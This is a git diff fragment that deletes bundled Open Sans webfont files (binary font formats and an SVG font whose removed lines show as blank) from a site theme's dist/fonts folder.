- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf deleted file mode 100644 index e6c54141..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff deleted file mode 100644 index dc199472..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2 b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2 deleted file mode 100644 index b280251f..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot deleted file mode 100644 index a2d5e20b..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg deleted file mode 100644 index 0ec5da57..00000000 --- a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg +++ /dev/null @@ -1,19030 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 